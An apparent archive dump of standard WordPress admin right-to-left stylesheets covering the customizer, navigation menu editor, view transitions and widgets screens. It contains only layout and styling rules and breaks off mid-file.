.theme:not(.active):focus .theme-actions { display: block; } .wp-customizer .theme-browser .theme.active .theme-name span { display: inline; } .customize-control-header button.random .dice { margin-top: 0; } .customize-control-radio .customize-inside-control-row, .customize-control-checkbox .customize-inside-control-row, .customize-control-nav_menu_auto_add .customize-inside-control-row { margin-left: 32px; } .customize-control-radio input, .customize-control-checkbox input, .customize-control-nav_menu_auto_add input { margin-left: -32px; } .customize-control input[type="radio"] + label + br, .customize-control input[type="checkbox"] + label + br { line-height: 2.5; /* For widgets checkboxes */ } .customize-control .date-time-fields select { height: 39px; } .date-time-fields .date-input.month { width: 79px; } .date-time-fields .date-input.day, .date-time-fields .date-input.hour, .date-time-fields .date-input.minute { width: 55px; } .date-time-fields .date-input.year { width: 80px; } #customize-control-changeset_preview_link a { bottom: 16px; } .media-widget-control .media-widget-buttons .button.edit-media, .media-widget-control .media-widget-buttons .button.change-media, .media-widget-control .media-widget-buttons .button.select-media { margin-top: 12px; } .customize-preview-header.themes-filter-bar .search-icon { top: 6px; } } @media screen and (max-width: 1200px) { .outer-section-open .wp-full-overlay.expanded.preview-mobile .wp-full-overlay-main, .adding-menu-items .wp-full-overlay.expanded.preview-mobile .wp-full-overlay-main, .adding-widget .wp-full-overlay.expanded.preview-mobile .wp-full-overlay-main { left: 67%; } } @media screen and (max-width: 640px) { /* when the sidebar is collapsed and switching to responsive view, bring it back see ticket #35220 */ .wp-full-overlay.collapsed #customize-controls { margin-left: 0; } .wp-full-overlay-sidebar .wp-full-overlay-sidebar-content { bottom: 0; } .customize-controls-preview-toggle { display: block; position: absolute; top: 0; left: 48px; line-height: 2.6; font-size: 14px; padding: 0 12px 4px; margin: 0; height: 45px; background: #f0f0f1; border: 0; border-right: 1px solid #dcdcde; border-top: 4px solid #f0f0f1; color: #50575e; cursor: pointer; transition: color .1s ease-in-out, background .1s ease-in-out; } #customize-footer-actions, /*#customize-preview,*/ .customize-controls-preview-toggle .controls, .preview-only .wp-full-overlay-sidebar-content, .preview-only .customize-controls-preview-toggle .preview { display: none; } .preview-only #customize-save-button-wrapper { margin-top: -46px; } .customize-controls-preview-toggle .preview:before, .customize-controls-preview-toggle .controls:before { font: normal 20px/1 dashicons; content: "\f177"; content: "\f177" / ''; position: relative; top: 4px; margin-right: 6px; } .customize-controls-preview-toggle .controls:before { content: "\f540"; content: "\f540" / ''; } .preview-only #customize-controls { height: 45px; } .preview-only #customize-preview, .preview-only .customize-controls-preview-toggle .controls { display: block; } .wp-core-ui.wp-customizer .button { padding: 0 14px; line-height: 2.14285714; /* 30px */ font-size: 14px; vertical-align: middle; } .customize-control .attachment-media-view .upload-button { text-align: center; } #customize-control-changeset_status .customize-inside-control-row { padding-top: 15px; } body.adding-widget div#available-widgets, body.adding-menu-items div#available-menu-items, body.outer-section-open div#customize-sidebar-outer-content { width: 100%; } #available-widgets .customize-section-title, #available-menu-items .customize-section-title { border: 0; clip-path: none; height: inherit; margin: 0; overflow: hidden; padding: 0; width: auto; position: static; } #available-widgets .customize-section-title button, #available-menu-items .customize-section-title button { display: block; } #available-widgets .customize-section-back, #available-menu-items .customize-section-back { height: 69px; } #available-widgets .customize-section-title h3, #available-menu-items .customize-section-title h3 { font-size: 20px; font-weight: 200; padding: 9px 10px 12px 14px; margin: 0; line-height: 24px; color: #50575e; display: block; overflow: hidden; white-space: nowrap; text-overflow: ellipsis; } #available-widgets .customize-section-title .customize-action, #available-menu-items .customize-section-title .customize-action { font-size: 13px; display: block; font-weight: 400; overflow: hidden; white-space: nowrap; text-overflow: ellipsis; } #available-widgets-filter { position: relative; width: 100%; height: auto; } #available-widgets-list { top: 152px; } #available-menu-items-search .clear-results { top: 40px; right: 16px; } .reorder, .reordering .reorder-done { padding: 8px; } } @media screen and (max-width: 600px) { .wp-full-overlay.expanded { margin-left: 0; } body.adding-widget div#available-widgets, body.adding-menu-items div#available-menu-items, body.outer-section-open div#customize-sidebar-outer-content { top: 46px; z-index: 10; } body.wp-customizer .wp-full-overlay.expanded #customize-sidebar-outer-content { left: -100%; } body.wp-customizer.outer-section-open .wp-full-overlay.expanded #customize-sidebar-outer-content { left: 0; } } css/nav-menus-rtl.css 0000644 00000043337 15233246127 0010575 0 ustar 00 /*! This file is auto-generated */ /* nav-menu */ /* @todo: determine if this is truly for nav menus only */ .no-js #message { display: block; } ul.add-menu-item-tabs li { padding: 3px 8px 4px 5px; } .accordion-section ul.category-tabs, .accordion-section ul.add-menu-item-tabs, .accordion-section ul.wp-tab-bar { margin: 0; } .accordion-section .categorychecklist { margin: 13px 0; } #nav-menu-meta .accordion-section-content { padding: 18px 13px; resize: vertical; } #nav-menu-meta .button-controls { margin-bottom: 0; } .has-no-menu-item .button-controls { display: none; } #nav-menus-frame { margin-right: 300px; margin-top: 23px; } #wpbody-content #menu-settings-column { display: inline; width: 281px; margin-right: -300px; clear: both; float: right; padding-top: 0; } #menu-settings-column .inside { clear: both; margin: 10px 0 0; height: 100%; max-height: inherit; } #menu-settings-column .categorydiv, #menu-settings-column .customlinkdiv, #menu-settings-column .posttypediv, #menu-settings-column .taxonomydiv { max-height: inherit; height: 100%; } #menu-settings-column .wp-tab-panel, #menu-settings-column .categorydiv div.tabs-panel, #menu-settings-column .customlinkdiv div.tabs-panel, #menu-settings-column .posttypediv div.tabs-panel, #menu-settings-column .taxonomydiv div.tabs-panel { /* Allow space for content after tab panels in nav menu editor. */ max-height: calc( 100% - 75px ); height: 100%; } .metabox-holder-disabled .postbox, .metabox-holder-disabled .accordion-section-content, .metabox-holder-disabled .accordion-section-title { opacity: 0.5; filter: alpha(opacity=50); } .metabox-holder-disabled .button-controls .select-all { display: none; } #wpbody { position: relative; } .is-submenu { color: #50575e; /* #fafafa background */ font-style: italic; font-weight: 400; margin-right: 4px; } .manage-menus { margin-top: 23px; padding: 10px; overflow: hidden; background: #fff; } .manage-menus .selected-menu, .manage-menus select, .manage-menus .submit-btn, .nav-menus-php .add-new-menu-action { display: inline-block; margin-left: 3px; vertical-align: middle; } .manage-menus select, .menu-location-menus select { max-width: 100%; } .menu-edit #post-body-content h3 { margin: 1em 0 10px; } #nav-menu-bulk-actions-top { margin: 1em 0; } #nav-menu-bulk-actions-bottom { margin: 1em 0; margin: calc( 1em + 9px ) 0; } .bulk-actions input.button { margin-left: 12px; } .bulk-select-button { position: relative; display: inline-block; padding: 0 10px; font-size: 13px; line-height: 2.15384615; height: auto; min-height: 30px; background: #f6f7f7; vertical-align: top; border: 1px solid #dcdcde; margin: 0; cursor: pointer; border-radius: 3px; white-space: nowrap; box-sizing: border-box; } .bulk-selection .bulk-select-button { color: #2271b1; border-color: #2271b1; background: #f6f7f7; vertical-align: top; } #pending-menu-items-to-delete { display: none; } .bulk-selection #pending-menu-items-to-delete { display: block; margin-top: 1em; } #pending-menu-items-to-delete p { margin-bottom: 0; } #pending-menu-items-to-delete ul { margin-top: 0; list-style: none; } #pending-menu-items-to-delete ul li { display: inline; } input.bulk-select-switcher + .bulk-select-button-label { vertical-align: inherit; } label.bulk-select-button:hover, label.bulk-select-button:active, label.bulk-select-button:focus-within { background: #f0f0f1; border-color: #0a4b78; color: #0a4b78; } input.bulk-select-switcher:focus + .bulk-select-button-label { color: #0a4b78; } .bulk-actions input.menu-items-delete { appearance: none; font-size: inherit; border: 0; line-height: 2.1em; background: none; cursor: pointer; text-decoration: underline; color: #b32d2e; } .bulk-actions input.menu-items-delete:hover { color: #b32d2e; border: none; } .bulk-actions input.menu-items-delete.disabled { display: none; } .menu-settings { border-top: 1px solid #f0f0f1; margin-top: 2em; } .menu-settings-group { margin: 0 0 10px; padding-right: 20%; } .menu-settings-group:last-of-type { margin-bottom: 0; } .menu-settings-input { float: right; margin: 0; width: 100%; } .menu-settings-group-name { float: right; clear: both; width: 25%; padding: 3px 0 0; margin-right: -25%; /* 20 container left padding x ( 100 container % width / 80 this % width ) */ } .menu-settings label { vertical-align: baseline; } .menu-edit .checkbox-input { margin-top: 4px; } .theme-location-set { color: #646970; font-size: 11px; } /* Menu Container */ /* @todo: responsive view. */ #menu-management-liquid { float: right; min-width: 100%; margin-top: 3px; } /* @todo: responsive view. */ #menu-management { position: relative; margin-left: 20px; margin-top: -3px; width: 100%; } #menu-management .menu-edit { margin-bottom: 20px; } .nav-menus-php #post-body { padding: 0 10px; border-top: 1px solid #fff; border-bottom: 1px solid #dcdcde; background: #fff; } #nav-menu-header, #nav-menu-footer { padding: 0 10px; background: #f6f7f7; } #nav-menu-header { border-bottom: 1px solid #dcdcde; margin-bottom: 0; } #nav-menu-header .menu-name-label { display: inline-block; vertical-align: middle; margin-left: 7px; } .nav-menus-php #post-body div.updated, .nav-menus-php #post-body div.error { margin: 0; } .nav-menus-php #post-body-content { position: relative; float: none; } .nav-menus-php #post-body-content .post-body-plain { margin-bottom: 0; } #menu-management .menu-add-new abbr { font-weight: 600; } #select-nav-menu-container { text-align: left; padding: 0 10px 3px; margin-bottom: 5px; } #select-nav-menu { width: 100px; display: inline; } #menu-name-label { margin-top: -2px; } .widefat .menu-locations .menu-location-title { padding: 13px 10px 0; } .menu-location-title label { font-weight: 600; } .menu-location-menus select { float: right; } #locations-nav-menu-wrapper { padding: 5px 0; } .locations-nav-menu-select select { float: right; width: 160px; margin-left: 5px; } .locations-row-links { float: right; margin: 6px 6px 0 0; } .locations-edit-menu-link, .locations-add-menu-link { margin: 0 3px; } .locations-edit-menu-link { padding-left: 3px; border-left: 1px solid #c3c4c7; } #menu-management .inside { padding: 0 10px; } /* Add Menu Item Boxes */ .postbox .howto input { width: 180px; float: left; } .accordion-container .outer-border { margin: 0; } .customlinkdiv p { margin-top: 0 } #nav-menu-theme-locations .howto select { width: 100%; } #nav-menu-theme-locations .button-controls { text-align: left; } .add-menu-item-view-all { height: 400px; } /* Button Primary Actions */ #menu-container .submit { margin: 0 0 10px; padding: 0; } /* @todo: is this actually used? */ #cancel-save { text-decoration: underline; font-size: 12px; margin-right: 20px; margin-top: 5px; } .button.right, .button-secondary.right, .button-primary.right { float: left; } /* Button Secondary Actions */ .list-controls { float: right; } .add-to-menu { float: left; } .button-controls { clear: both; margin: 10px 0; } .show-all, .hide-all { cursor: pointer; } .hide-all { display: none; } /* Create Menu */ #menu-name { width: 270px; vertical-align: middle; } #manage-menu .inside { padding: 0; } /* Custom Links */ #available-links dt { display: block; } #add-custom-link .howto { font-size: 12px; } #add-custom-link label span { display: block; float: right; margin-top: 5px; padding-left: 5px; } .menu-item-textbox { width: 180px; } .customlinkdiv .menu-item-textbox { width: 100%; } .nav-menus-php .howto span { float: right; margin-top: 6px; } /* Menu item types */ .quick-search { width: 190px; } .quick-search-wrap .spinner { float: none; margin: -3px 0 0 -10px; } .nav-menus-php .list-wrap { display: none; clear: both; margin-bottom: 10px; } .nav-menus-php .postbox p.submit { margin-bottom: 0; } /* Listings */ .nav-menus-php .list li { display: none; margin: 0 0 5px; } .nav-menus-php .list li .menu-item-title { cursor: pointer; display: block; } .nav-menus-php .list li .menu-item-title input { margin-left: 3px; margin-top: -3px; } .menu-item-title input[type=checkbox] { display: inline-block; margin-top: -4px; } .menu-item-title .post-state { font-weight: 600; } /* Nav Menu */ #menu-container .inside { padding-bottom: 10px; } .menu { padding-top: 1em; } #menu-to-edit { margin: 0; padding: 0.1em 0; } .menu ul { width: 100%; } .menu li { margin-bottom: 0; position: relative; } .menu-item-bar { clear: both; line-height: 1.5; position: relative; margin: 9px 0 0; } .menu-item-bar .menu-item-handle { border: 1px solid #dcdcde; position: relative; padding: 10px 15px; height: auto; min-height: 20px; max-width: 382px; line-height: 2.30769230; overflow: hidden; word-wrap: break-word; } .menu-item-bar .menu-item-handle:hover { border-color: #8c8f94; } #menu-to-edit .menu-item-invalid .menu-item-handle { background: #fcf0f1; border-color: #d63638; } .no-js .menu-item-edit-active .item-edit { display: none; } .js .menu-item-handle { cursor: move; } .menu li.deleting .menu-item-handle { background-image: none; background-color: #f86368; } .menu-item-handle .item-title { font-size: 13px; font-weight: 600; line-height: 1.53846153; display: block; /* @todo: responsive view. */ margin-left: 13em; } .menu-item-handle .menu-item-checkbox { display: none; } .bulk-selection .menu-item-handle .menu-item-checkbox { display: inline-block; margin-left: 6px; } .menu-item-handle .menu-item-title.no-title { color: #646970; } /* Sortables */ li.menu-item.ui-sortable-helper .menu-item-bar { margin-top: 0; } li.menu-item.ui-sortable-helper .menu-item-transport .menu-item-bar { margin-top: 9px; /* Must use the same value used by the dragged item .menu-item-bar */ } .menu .sortable-placeholder { height: 35px; width: 410px; margin-top: 9px; /* Must use the same value used by the dragged item .menu-item-bar */ } /* Hide the transport list when it's empty */ .menu-item .menu-item-transport:empty { display: none; } /* WARNING: The factor of 30px is hardcoded into the nav-menus JavaScript. */ .menu-item-depth-0 { margin-right: 0; } .menu-item-depth-1 { margin-right: 30px; } .menu-item-depth-2 { margin-right: 60px; } .menu-item-depth-3 { margin-right: 90px; } .menu-item-depth-4 { margin-right: 120px; } .menu-item-depth-5 { margin-right: 150px; } .menu-item-depth-6 { margin-right: 180px; } .menu-item-depth-7 { margin-right: 210px; } .menu-item-depth-8 { margin-right: 240px; } .menu-item-depth-9 { margin-right: 270px; } .menu-item-depth-10 { margin-right: 300px; } .menu-item-depth-11 { margin-right: 330px; } .menu-item-depth-0 .menu-item-transport { margin-right: 0; } .menu-item-depth-1 .menu-item-transport { margin-right: -30px; } .menu-item-depth-2 .menu-item-transport { margin-right: -60px; } .menu-item-depth-3 .menu-item-transport { margin-right: -90px; } .menu-item-depth-4 .menu-item-transport { margin-right: -120px; } .menu-item-depth-5 .menu-item-transport { margin-right: -150px; } .menu-item-depth-6 .menu-item-transport { margin-right: -180px; } .menu-item-depth-7 .menu-item-transport { margin-right: -210px; } .menu-item-depth-8 .menu-item-transport { margin-right: -240px; } .menu-item-depth-9 .menu-item-transport { margin-right: -270px; } .menu-item-depth-10 .menu-item-transport { margin-right: -300px; } .menu-item-depth-11 .menu-item-transport { margin-right: -330px; } body.menu-max-depth-0 { min-width: 950px !important; } body.menu-max-depth-1 { min-width: 980px !important; } body.menu-max-depth-2 { min-width: 1010px !important; } body.menu-max-depth-3 { min-width: 1040px !important; } body.menu-max-depth-4 { min-width: 1070px !important; } body.menu-max-depth-5 { min-width: 1100px !important; } body.menu-max-depth-6 { min-width: 1130px !important; } body.menu-max-depth-7 { min-width: 1160px !important; } body.menu-max-depth-8 { min-width: 1190px !important; } body.menu-max-depth-9 { min-width: 1220px !important; } body.menu-max-depth-10 { min-width: 1250px !important; } body.menu-max-depth-11 { min-width: 1280px !important; } /* Menu item controls */ .item-type { display: inline-block; padding: 12px 16px; color: #646970; font-size: 12px; line-height: 1.5; } .item-controls { font-size: 12px; position: absolute; left: 20px; top: -1px; } .item-controls a { text-decoration: none; } .item-controls a:hover { cursor: pointer; } .item-controls .item-order { padding-left: 10px; } .nav-menus-php .item-edit { position: absolute; left: -20px; top: 0; display: block; width: 30px; height: 40px; outline: none; } .no-js.nav-menus-php .item-edit { position: static; float: left; width: auto; height: auto; margin: 12px 0 12px -10px; padding: 0; color: #2271b1; text-decoration: underline; font-size: 12px; line-height: 1.5; } .no-js.nav-menus-php .item-edit .screen-reader-text { position: static; clip-path: none; width: auto; height: auto; margin: 0; } .nav-menus-php .item-edit:before { margin-top: 10px; margin-right: 4px; width: 20px; border-radius: 50%; text-indent: -1px; /* account for the dashicon alignment */ } .no-js.nav-menus-php .item-edit:before { display: none; } .rtl .nav-menus-php .item-edit:before { text-indent: 1px; /* account for the dashicon alignment */ } .js.nav-menus-php .item-edit:focus { box-shadow: none; } .nav-menus-php .item-edit:focus:before { box-shadow: 0 0 0 var(--wp-admin-border-width-focus, 1.5px) var(--wp-admin-theme-color, #3858e9); /* Only visible in Windows High Contrast mode */ outline: 2px solid transparent; } /* Menu editing */ .menu-instructions-inactive { display: none; } .menu-item-settings { display: block; max-width: 392px; padding: 10px; position: relative; z-index: 10; /* Keep .item-title's shadow from appearing on top of .menu-item-settings */ border: 1px solid #c3c4c7; border-top: none; box-shadow: 0 1px 1px rgba(0, 0, 0, 0.04); } .menu-item-settings .field-move { margin: 3px 0 5px; line-height: 1.5; } .field-move-visual-label { float: right; margin-left: 4px; } .menu-item-settings .field-move .button-link { display: none; margin: 0 2px; } .menu-item-edit-active .menu-item-settings { display: block; } .menu-item-edit-inactive .menu-item-settings { display: none; } .add-menu-item-pagelinks { margin: .5em -10px; text-align: center; } .add-menu-item-pagelinks .page-numbers { display: inline-block; min-width: 20px; } .add-menu-item-pagelinks .page-numbers.dots { min-width: 0; } .link-to-original { display: block; margin: 0 0 15px; padding: 3px 5px 5px; border: 1px solid #dcdcde; color: #646970; font-size: 12px; } .link-to-original a { padding-right: 4px; font-style: normal; } .hidden-field { display: none; } .description-group { display: flex; column-gap: 10px; } .description-group > * { flex-grow: 1; } .menu-item-actions { padding-top: 15px; padding-bottom: 7px; } #cancel-save { cursor: pointer; } /* Major/minor publishing actions (classes) */ .nav-menus-php .major-publishing-actions { padding: 10px 0; display: flex; align-items: center; } .nav-menus-php .major-publishing-actions > * { margin-left: 10px; } .nav-menus-php .major-publishing-actions .form-invalid { padding-right: 4px; margin-right: -4px; } #nav-menus-frame, #menu-item-url-wrap, #menu-item-name-wrap { display: block; } .button-controls { display: flex; align-items: center; justify-content: space-between; } .button-controls-customlinkdiv { justify-content: flex-end; } /* =Media Queries -------------------------------------------------------------- */ @media only screen and (min-width: 769px) and (max-width: 1000px) { body.menu-max-depth-0 { min-width: 0 !important; } #menu-management-liquid { width: 100%; } .nav-menus-php #post-body-content { min-width: 0; } } @media screen and (max-width: 782px) { body.nav-menus-php, body.wp-customizer { min-width: 0 !important; } #nav-menus-frame { margin-right: 0; float: none; width: 100%; } #wpbody-content #menu-settings-column { display: block; width: 100%; float: none; margin-right: 0; } #side-sortables .add-menu-item-tabs { margin: 15px 0 14px; } ul.add-menu-item-tabs li.tabs { padding: 13px 15px 14px; } .nav-menus-php .customlinkdiv .howto input { width: 65%; } .nav-menus-php .quick-search { width: 85%; } #menu-management-liquid { margin-top: 25px; } .nav-menus-php .menu-name-label.howto span { margin-top: 13px } #menu-name { width: 100%; } .nav-menus-php #nav-menu-header .major-publishing-actions .publishing-action { padding-top: 1em; } .nav-menus-php .delete-action { font-size: 14px; line-height: 2.14285714; } .menu-item-bar .menu-item-handle, .menu-item-settings { width: auto; } .menu-item-settings { padding: 10px; } .menu-item-settings .description-group { display: block; } .menu-item-settings input { width: 100%; } .menu-item-settings input[type="checkbox"], .menu-item-settings input[type="radio"] { width: 25px; } .menu-settings-group { padding-right: 0; overflow: visible; } .menu-settings-group-name { float: none; width: auto; margin-right: 0; margin-bottom: 15px; } .menu-settings-input { float: none; margin-bottom: 15px; } .menu-edit .checkbox-input { margin-top: 0; } .manage-menus select { margin: 0.5em 0; } .wp-core-ui .manage-menus .button { margin-bottom: 0; } .widefat .menu-locations .menu-location-title { padding-top: 16px; } } @media only screen and (min-width: 783px) { @supports (position: sticky) and (scroll-margin-bottom: 130px) { #nav-menu-footer { position: sticky; bottom: 0; z-index: 10; box-shadow: 0 -1px 0 0 #ddd; } #save_menu_header { display: none; } } } @media only screen and (max-width: 768px) { /* menu locations */ #menu-locations-wrap .widefat { width: 100%; } .bulk-select-button { padding: 5px 10px; } } css/view-transitions.min.css 0000644 00000000300 15233246127 0012153 0 ustar 00 /*! This file is auto-generated */ @media (prefers-reduced-motion:no-preference){@view-transition{navigation:auto}#adminmenu>.menu-top{view-transition-name:attr(id type(<custom-ident>),none)}} css/widgets-rtl.css 0000644 00000042737 15233246127 0010335 0 ustar 00 /*! This file is auto-generated */ /* General Widgets Styles */ .widget { margin: 0 auto 10px; position: relative; box-sizing: border-box; } .widget.open { z-index: 99; } .widget.open:focus-within { z-index: 100; } .widget-top { font-size: 13px; font-weight: 600; background: #f6f7f7; } .widget-top .widget-action { border: 0; margin: 0; padding: 10px; background: none; cursor: pointer; } .widget-title h3, .widget-title h4 { margin: 0; padding: 15px; font-size: 1em; line-height: 1; overflow: hidden; white-space: nowrap; text-overflow: ellipsis; -webkit-user-select: none; user-select: none; } .widgets-holder-wrap .widget-inside { border-top: none; padding: 1px 15px 15px; line-height: 1.23076923; } .widget.widget-dirty .widget-control-close-wrapper { display: none; } .in-widget-title, #widgets-right a.widget-control-edit, #available-widgets .widget-description { color: #646970; } .deleting .widget-title, .deleting .widget-top .widget-action .toggle-indicator:before { color: #a7aaad; } /* Media Widgets */ .wp-core-ui .media-widget-control.selected .placeholder, .wp-core-ui .media-widget-control.selected .not-selected, .wp-core-ui .media-widget-control .selected { display: none; } .media-widget-control.selected .selected { display: inline-block; } .media-widget-buttons { text-align: right; margin-top: 0; } .media-widget-control .media-widget-buttons .button { width: auto; height: auto; margin-top: 12px; white-space: normal; } .media-widget-buttons .button:first-child { margin-left: 8px; } .media-widget-control .attachment-media-view .button-add-media, .media-widget-control .placeholder { border: 1px dashed #c3c4c7; box-sizing: border-box; cursor: pointer; line-height: 1.6; padding: 9px 0; position: relative; text-align: center; width: 100%; } .media-widget-control .attachment-media-view .button-add-media { cursor: pointer; background-color: #f0f0f1; color: #2c3338; } .media-widget-control .attachment-media-view .button-add-media:hover { background-color: #fff; } .media-widget-control .attachment-media-view .button-add-media:focus { background-color: #fff; border-style: solid; border-color: #4f94d4; box-shadow: 0 0 3px rgba(34, 113, 177, 0.8); /* Only visible in Windows High Contrast mode */ outline: 2px solid transparent; outline-offset: -2px; } .media-widget-control .media-widget-preview { background: transparent; text-align: center; } .media-widget-control .media-widget-preview .notice { text-align: initial; } .media-frame .media-widget-embed-notice p code, .media-widget-control .notice p code { padding: 0 0 0 3px; } .media-frame .media-widget-embed-notice { margin-top: 16px; } .media-widget-control .media-widget-preview img { max-width: 100%; vertical-align: middle; background-image: linear-gradient(-45deg, #c3c4c7 25%, transparent 25%, transparent 75%, #c3c4c7 75%, #c3c4c7), linear-gradient(-45deg, #c3c4c7 25%, transparent 25%, transparent 75%, #c3c4c7 75%, #c3c4c7); background-position: 100% 0, 10px 10px; background-size: 20px 20px; } .media-widget-control .media-widget-preview .wp-video-shortcode { background: #000; } .media-frame.media-widget .media-toolbar-secondary { min-width: 300px; } .media-frame.media-widget .image-details .embed-media-settings .setting.align, .media-frame.media-widget .attachment-display-settings .setting.align, .media-frame.media-widget .embed-media-settings .setting.align, .media-frame.media-widget .embed-media-settings .legend-inline, .media-frame.media-widget .embed-link-settings .setting.link-text, .media-frame.media-widget .replace-attachment, .media-frame.media-widget .checkbox-setting.autoplay { display: none; } .media-widget-video-preview { width: 100%; } .media-widget-video-link { display: inline-block; min-height: 132px; width: 100%; background: #000; } .media-widget-video-link .dashicons { font: normal 60px/1 'dashicons'; position: relative; width: 100%; top: -90px; color: #fff; text-decoration: none; } .media-widget-video-link.no-poster .dashicons { top: 30px; } .media-frame #embed-url-field.invalid, .media-widget-image-link > .link:invalid { border: 1px solid #d63638; } .media-widget-image-link { margin: 1em 0; } .media-widget-gallery-preview { display: flex; justify-content: flex-start; flex-wrap: wrap; margin: -1.79104477%; } .media-widget-preview.media_gallery, .media-widget-preview.media_image { cursor: pointer; } .media-widget-preview .placeholder { background: #f0f0f1; } .media-widget-gallery-preview .gallery-item { box-sizing: border-box; width: 50%; margin: 0; background: transparent; } .media-widget-gallery-preview .gallery-item .gallery-icon { margin: 4.5%; } /* * Use targeted nth-last-child selectors to control the size of each image * based on how many gallery items are present in the grid. * See: https://alistapart.com/article/quantity-queries-for-css */ .media-widget-gallery-preview .gallery-item:nth-last-child(3):first-child, .media-widget-gallery-preview .gallery-item:nth-last-child(3):first-child ~ .gallery-item, .media-widget-gallery-preview .gallery-item:nth-last-child(n+5), .media-widget-gallery-preview .gallery-item:nth-last-child(n+5) ~ .gallery-item, .media-widget-gallery-preview .gallery-item:nth-last-child(n+6), .media-widget-gallery-preview .gallery-item:nth-last-child(n+6) ~ .gallery-item { max-width: 33.33%; } .media-widget-gallery-preview .gallery-item img { height: auto; vertical-align: bottom; } .media-widget-gallery-preview .gallery-icon { position: relative; } .media-widget-gallery-preview .gallery-icon-placeholder { position: absolute; top: 0; bottom: 0; width: 100%; box-sizing: border-box; display: flex; align-items: center; justify-content: center; background-color: rgba(0, 0, 0, 0.5); } .media-widget-gallery-preview .gallery-icon-placeholder-text { font-weight: 600; font-size: 2em; color: #fff; } /* Widget Dragging Helpers */ .widget.ui-draggable-dragging { min-width: 100%; } .widget.ui-sortable-helper { opacity: 0.8; } .widget-placeholder { border: 1px dashed #c3c4c7; margin: 0 auto 10px; height: 45px; width: 100%; box-sizing: border-box; } #widgets-right .widget-placeholder { margin-top: 0; } #widgets-right .closed .widget-placeholder { height: 0; border: 0; margin-top: -10px; } /* Widget Sidebars */ .sidebar-name { position: relative; box-sizing: border-box; } .js .sidebar-name { cursor: pointer; } .sidebar-name .handlediv { float: left; width: 38px; height: 38px; border: 0; margin: 0; padding: 8px; background: none; cursor: pointer; outline: none; } #widgets-right .sidebar-name .handlediv { margin: 5px 0 0 3px; } .sidebar-name .handlediv:focus { box-shadow: none; /* Only visible in Windows High Contrast mode */ outline: 1px solid transparent; } #widgets-left .sidebar-name .toggle-indicator { display: none; } #widgets-left .widgets-holder-wrap.closed .sidebar-name .toggle-indicator, #widgets-left .sidebar-name:hover .toggle-indicator, #widgets-left .sidebar-name .handlediv:focus .toggle-indicator { display: block; } .sidebar-name .toggle-indicator:before { padding: 1px 0 1px 2px; border-radius: 50%; } .sidebar-name .handlediv:focus .toggle-indicator:before { box-shadow: 0 0 0 var(--wp-admin-border-width-focus, 1.5px) var(--wp-admin-theme-color, #3858e9); /* Only visible in Windows High Contrast mode */ outline: 2px solid transparent; } .sidebar-name h2, .sidebar-name h3 { margin: 0; padding: 8px 10px; overflow: hidden; white-space: normal; line-height: 1.5; } .widgets-holder-wrap .description { padding: 0 0 15px; margin: 0; font-style: normal; color: #646970; } .widget-holder .description, .inactive-sidebar .description { color: #50575e; } #widgets-right .widgets-holder-wrap .description { padding-right: 7px; padding-left: 7px; } /* Widgets 2-col Layout */ div.widget-liquid-left { margin: 0; width: 38%; float: right; } div.widget-liquid-right { float: left; width: 58%; } /* Widgets Left - Available Widgets */ div#widgets-left { padding-top: 12px; } div#widgets-left .closed .sidebar-name, div#widgets-left .inactive-sidebar.closed .sidebar-name { margin-bottom: 10px; } div#widgets-left .sidebar-name h2, div#widgets-left .sidebar-name h3 { padding: 10px 0; margin: 0 0 0 10px; } #widgets-left .widgets-holder-wrap, div#widgets-left .widget-holder { background: transparent; border: none; } #widgets-left .widgets-holder-wrap { border: none; box-shadow: none; } #available-widgets .widget { margin: 0; } #available-widgets .widget:nth-child(odd) { clear: both; } #available-widgets .widget .widget-description { display: block; padding: 10px 15px; font-size: 12px; overflow-wrap: break-word; word-wrap: break-word; -ms-word-break: break-all; word-break: break-word; hyphens: auto; } #available-widgets #widget-list { position: relative; } /* Inactive Sidebars */ #widgets-left .inactive-sidebar { clear: both; width: 100%; background: transparent; padding: 0; margin: 0 0 20px; border: none; box-shadow: none; } #widgets-left .inactive-sidebar.first { margin-top: 40px; } /* Not sure what this is for... */ div#widgets-left .inactive-sidebar .widget.expanded { right: auto; } .widget-title-action { float: left; position: relative; } div#widgets-left .inactive-sidebar .widgets-sortables { min-height: 42px; padding: 0; background: transparent; margin: 0; position: relative; } /* Widgets Right */ div#widgets-right .sidebars-column-1, div#widgets-right .sidebars-column-2 { max-width: 450px; } div#widgets-right .widgets-holder-wrap { margin: 10px 0 0; } div#widgets-right .sidebar-description { min-height: 20px; margin-top: -5px; } div#widgets-right .sidebar-name h2, div#widgets-right .sidebar-name h3 { padding: 15px 7px 15px 15px; } div#widgets-right .widget-top { padding: 0; } div#widgets-right .widgets-sortables { padding: 0 8px; margin-bottom: 9px; position: relative; min-height: 123px; } div#widgets-right .closed .widgets-sortables { min-height: 0; margin-bottom: 0; } .sidebar-name .spinner, .remove-inactive-widgets .spinner { float: none; position: relative; top: -2px; margin: -5px 5px; } .sidebar-name .spinner { position: absolute; top: 18px; left: 30px; } /* Dragging a widget over a closed sidebar */ #widgets-right .widgets-holder-wrap.widget-hover { border-color: #787c82; box-shadow: 0 1px 2px rgba(0, 0, 0, 0.3); } /* Accessibility Mode */ .widget-access-link { float: left; margin: -5px 10px 10px 0; } .widgets_access #widgets-left .widget .widget-top { cursor: auto; } .widgets_access #wpwrap .widgets-holder-wrap.closed .sidebar-description, .widgets_access #wpwrap .widgets-holder-wrap.closed .widget, .widgets_access #wpwrap .widget-control-edit { display: block; } .widgets_access #widgets-left .widget .widget-top:hover, .widgets_access #widgets-right .widget .widget-top:hover { border-color: #dcdcde; } #available-widgets .widget-control-edit .edit, #available-widgets .widget-action .edit, #widgets-left .inactive-sidebar .widget-control-edit .add, #widgets-left .inactive-sidebar .widget-action .add, #widgets-right .widget-control-edit .add, #widgets-right .widget-action .add { display: none; } .widget-control-edit { display: block; color: #646970; background: #f0f0f1; padding: 0 15px; line-height: 3.30769230; border-right: 1px solid #dcdcde; } #widgets-left .widget-control-edit:hover, #widgets-right .widget-control-edit:hover { color: #fff; background: #3c434a; border-right: 0; outline: 1px solid #3c434a; } .widgets-holder-wrap .sidebar-name, .widgets-holder-wrap .sidebar-description { -webkit-user-select: none; user-select: none; } .editwidget { margin: 0 auto; } .editwidget .widget-inside { display: block; padding: 0 15px; } .widget-control-actions { display: flex; align-items: center; justify-content: space-between; } .editwidget .widget-control-actions { margin-top: 20px; } .js .widgets-holder-wrap.closed .widget, .js .widgets-holder-wrap.closed .sidebar-description, .js .widgets-holder-wrap.closed .remove-inactive-widgets, .js .widgets-holder-wrap.closed .description, .js .closed br.clear { display: none; } .js .widgets-holder-wrap.closed .widget.ui-sortable-helper { display: block; } /* Hide Widget 